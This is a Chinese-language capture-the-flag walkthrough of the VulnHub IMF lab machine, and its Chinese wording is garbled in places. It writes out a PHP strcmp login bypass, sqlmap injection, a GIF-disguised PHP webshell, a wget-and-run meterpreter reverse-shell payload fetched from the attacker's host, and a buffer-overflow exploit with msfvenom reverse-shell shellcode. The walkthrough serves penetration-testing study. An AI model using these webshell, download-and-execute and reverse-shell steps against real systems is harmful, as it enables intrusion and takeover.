18年毕业,目前某安全公司PM搬砖,但依然钟情于渗透,希望能通过学习不断提高自己的技能。由于一开始研究的是渗透,但还是太菜。大佬师傅当小说看就好。
目前实战操作来源vunlhub及handthebox,均须爬楼,我是自己搭的楼梯。Guge和油管以及推特都是很好的平台,油管上太多牛逼的人。。。
CTF也会偶尔看,如果有师傅带着玩和打比赛,乐意随着搬砖打杂。。

靶机下载地址:https://download.vulnhub.com/imf/IMF.ova
紧张知识点:常规的CTF找flag、制作图片木马、溢出漏洞、提权。
靶机下载后vmware打开,Kalior parrot(UI很棒,工具很全)
同一内网arp-scan–l、Netdiscover、Nmap都可以扫描到靶机地址。。但实际内网渗透,肯定没这么大略。
Nmap-sV -p 1-10000 ip
Nmap-A -v -T4 ip
Nmap后面的参数可以有很多,也可以接脚本,用法太多了。
实战该当用不到-A,一样平常以-sS,半扫描办法,不会轻易被创造,但靶机可以随便搞。
Nmap扫描只有80端口apache
然后可以进行跑目录,看有没有敏感的目录,比如上传点,比如后台上岸。
网站须要进行大略信息网络,但靶机并没有那么多信息可以用,以是浏览网站,某些页面可能会有框架信息,cms信息,然后可以去查漏洞。
网页如果有留言、搜索框,也会想到xss,sql注入等,靶机一样平常都会提示。
比如conctacus 下面可以看到联系人,可能便是有代价的用户名。
如果网站有留言有信息,也可以进行社工创造字典,用crew和john合营用户名爆破等等。
跑目录可以用dirbuster,gobuster,也可以用脚本工具dirsearch
访问contactus及源码,得到flag1:YWxsdGhlZmlsZXM=
Base64解码得到allthefiles
解码办法太多了,网站在线解密、工具解密或者直接命令解密:
echo'密文'|base64 -d
连续不雅观察页面源码,实在常规CTF思路到处点 看F12和看看源码。。
创造js文件有些端倪
拼接前缀得到base64解码
echo'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -dflag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码得到:Flag3:{Imfadministrator}
并不知道是什么。。。试了一会,创造可以访问http://ip/imfadministrator/之前跑目录是没有的,涌现上岸页面
第一反应是爆破,第二反应是注入手工orsqlmap,可惜搞不出来。
之前contactus页面里有用户名,三个个中之一,我用的Rmichaels
然后又查看源码后,创造提示
估计是利用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array比较较的话,strcmp也会返回0。
PHP会将此字段阐明为数组,而不是字符串。这有时可能会稠浊验证乃至字符串检讨,如果个中一个输入是数组,strcmp则会返回NULL。
F12修正,将源码里的<inputname=\公众pass\"大众 value=\公众\"大众 type=\"大众password\公众>修正成<inputname=\"大众pass[]\"大众 value=\"大众\"大众type=\"大众password\公众>,使pass参数变成array数组。
用户名用之前页面里的Rmichaels,密码任意。上岸提交后创造flag3,base64解码后得到提示:continueTOcms,点击cms如下:
Cms页面链接点啊点,没用,源码也没有提示信息,只能看url
php?pagname=
试了试1’和../../../../../../../etc/passwd
有缺点回显,貌似有注入点,本人比较菜,放弃手工
复制cookie信息然后利用sqlmap测试,
Sqlmap-u “http://ip/”--cookie=”” --dump –batch
Sqlmap-hh 可以看参数,如果post注入,须要body信息,确定是-rtxt 还是–data=“name=value”,这里是get注入。
有东西,可以看到库名admin,表名pages被爆了出来。只有tutorials-incomplete未曾涌如今cms里,访问创造一张带有二维码的图片,可以用下面网站解码https://zxing.org/w/decode.jspx或者直接微信扫一扫。。。
得到flag4{dXBsb2Fkcjk0Mi5waHA=},解码后得到提示:uploadr942.php
Php文件名称,很愉快。访问/imfadministrator/uploadr942.php就更愉快了,得到上传点:
接下来的思维,就太多了,上传的姿势太多了,基本是上传马,连接,得shell,提权。
小马拉大马,得shell,或者数据库提权等。
上传的要点是上传的文件路径,文件名,有的可以写进日志里。
回归正题。考试测验上传php,挡掉,创造图片格式可以,制作图片木马。
Jpg上传,创造,上传成功后,看源码有天生的文件名,当然真实的不可能暴漏出来,那太傻了,但这种随机天生文件名的方法,是防御的办法之一。
echo'FFD8FFEo' | xxd -r -p > test.jpg
echo'<?php phpinfo(); ?>' >> test.jpg
跑目录可得/uploads路径
Curl-v “http://ip/imfadministrator/uploads/文件名.jpg
(Curl是很机灵的工具。。嗯也很实用的。。)创造没有反应,再传gif创造就可以实行,于是写出如下再上传:
echo'FFD8FFEo' | xxd -r -p > test.gif
echo'<?php echo `id`; ?>' >> test.gif再然后
echo‘FFD8FFEo’| xxd -r -p >text.gif
echo‘<?php $c_GET[‘c’]; echo `$c`; ?>’>>test.gif
把稳echo后是``。可以学一下php根本,类c措辞,还是比较随意马虎上手。
c=ls可得flag5解码得agentservices,貌似是一个做事,先记下。
之以是能gif实行php该当是.htaccess文件中写入了.php.gif。
.htaccess是apache的分布式配置文件,总是被玩坏,解析漏洞如果配置缺点,非常不屈安。
之后便是拿shell了,Wget攻击机的多功能的php,攻击机开一个apache
Systemctlstart apache2.service
这里用到msf天生木马,并吸收shell。由于可能后面要传文件,这种的得到shell,传文件一度困扰我。。。ssh连接上可以用scp
meterpreter,有download,upload。。。
msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf >/var/www/html/hack
在攻击机的网站目录下文件名为hack的木马并开启apache做事。
然后url里可以授予c不同参数命令,将天生的木马php下到靶机,触发并反弹shell
c=wget+“http://攻击机ip/hack”
c=chmod+777+hack授予实行权限。
c=./hack实行。
Msf里:
useexploit/multi/handler
Setpayloads linux/x86/meterpreter/reverse_tcp
Setlhsot
Run得到shell
实在这里的shell权限还是挺大,如果碰着限定的shell,如何绕过有限定shell,自行搜索。
接下来便是提权了,关于提权的姿势太多了,推举一本书吧,《网络攻防实战研究:漏洞与提权》是18年的新书,小兵师傅的宝典。
一旦得到shell,linux的话,看进程端口,翻目录,找找有用的信息。/etc/passwd,万一有权限可以更换密码,定时任务提权,脚本提权。
这里用到的是缓冲区溢出,关于堆栈溢出,关于寄存器,能学到很多东西。
首先Flag5 提示agent做事,也看了进程,创造有个knock进程。
关于knock进程:knock是一个端口敲做事器。它侦听以太网(或PPP)接口上的所有流量,探求端口命中的分外“拍门”序列。客户端通过将TCP(或UDP)数据包发送到做事器上的端口来进行这些端口命中。这个端口不须要打开-由于knockd在链路层级别监听,它会查看所有流量,纵然它的目的地是封闭端口。当做事器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。
也找一下agent做事,输入 whereisagent 得到结果:agent:/usr/local/bin/agent
进入/usr/local/bin/目录创造还有一个叫access_codes的文件,打开后显示:
SYN7482,8279,9467
SYN,不知道的理解一下三次握手,tcp连接等等。
于是用nmap扫一下,再全扫一边,创造7788端口打开。真的是“knock“一下
创造是agent程序。关于得到agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent。
关于itrace的先容:https://linux.die.net/man/1/ltrace
数据包访问AgentID是”’48093572”’,输入精确ID后涌现选项:
缓冲区溢出7788端口的agent程序。
有两个工具gdb和图形化edb。关于gdb,结尾会贴另一个大佬的写的文章,入门溢出。Meterperterdownload 下来
这里我用了kali,由于溢出部分是后来做的,换了电脑,parrot在移动过程中,没启动起来。。。测试:edb--run agent也可以运行agent,在edb内搜索
运行agent后,输入id,先选择3.submitreport进行测试:
溢出的关键是找到溢出的地址,貌似叫,栈堆基址。利用一个名为pattern_create的方便的Kali工具,天生分外字符,测试。
运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l 1024来获取1024个测试字符,然后将字符复制到agent里。pattern_offset配套利用。
/usr/share/metasploit-‐framework/tools/pattern_offset.rb-q 41366641
[]Exact match at offset 168
创造程序在第168个字符处溢出,同时运行之后,创造程序崩溃
猜想选择的值成功覆盖EIP
A 168(估计是EIP的位置)
B 4(认为是EIP)
C 500(可以转储shell代码的EIP之后的空格)。
再天生A168+B4+C1000的字符连续测试
python-c'print“A” 168 +“B” 4 +“C” 500'
python可以在反弹shell中建立新的终端,也可以起一个大略的http做事,用途太多了。
(在edb内,可以搜索操作码(插件>OpCodeSearcher>操作码搜索)。在这里我们可以看到E(R)AX- > E(R)IP包含对E(RAX)的调用。)42是B的十六进制
MSFVenom供应-b开关。这是为了肃清无用的字符。在这个例子中,删除了空字节0x00,由于它常日都会终止一个字符串。x0a是换行符,x0d是回车符,以是这两者都相称于命中返回,涌如今shellcode的中间,就over了。。。
msfvenom-p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666 -fpython -b \"大众\x00\x0a\x0d\"大众 > imf.py
之前的agentID被硬编码,在exp中别忘了48093572。编写exp:
实行脚本,nc-nlvp 你设置的端口,然后实行如下,有shell回弹,root权限。
以是末了一个标志是flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls。
关于末了的溢出,我打仗的很少,也在学习,可能写的很烂,给出的exp有可能复现不了,或者提权成功,我也试了很多。。。详细的溢出入门学习可参考如下文章
https://www.anquanke.com/post/id/169554#h3-10
我以为渗透的思路是很主要的,然后不会的就多搜索,多记录。往后会整理handthebox或者其他渗透靶机,随缘更新。欢迎一起学习互换。感谢阅读。
干系操作学习
VulnHub渗透测试实战:通过VulnHub靶机练习,得到渗透测试干系的实战履历。
http://www.hetianlab.com/cour.do?w=1&c=CCIDee68-cedc-49cf-9d77-55bb6e417128
本文为合天原创,未经许可,严禁转载。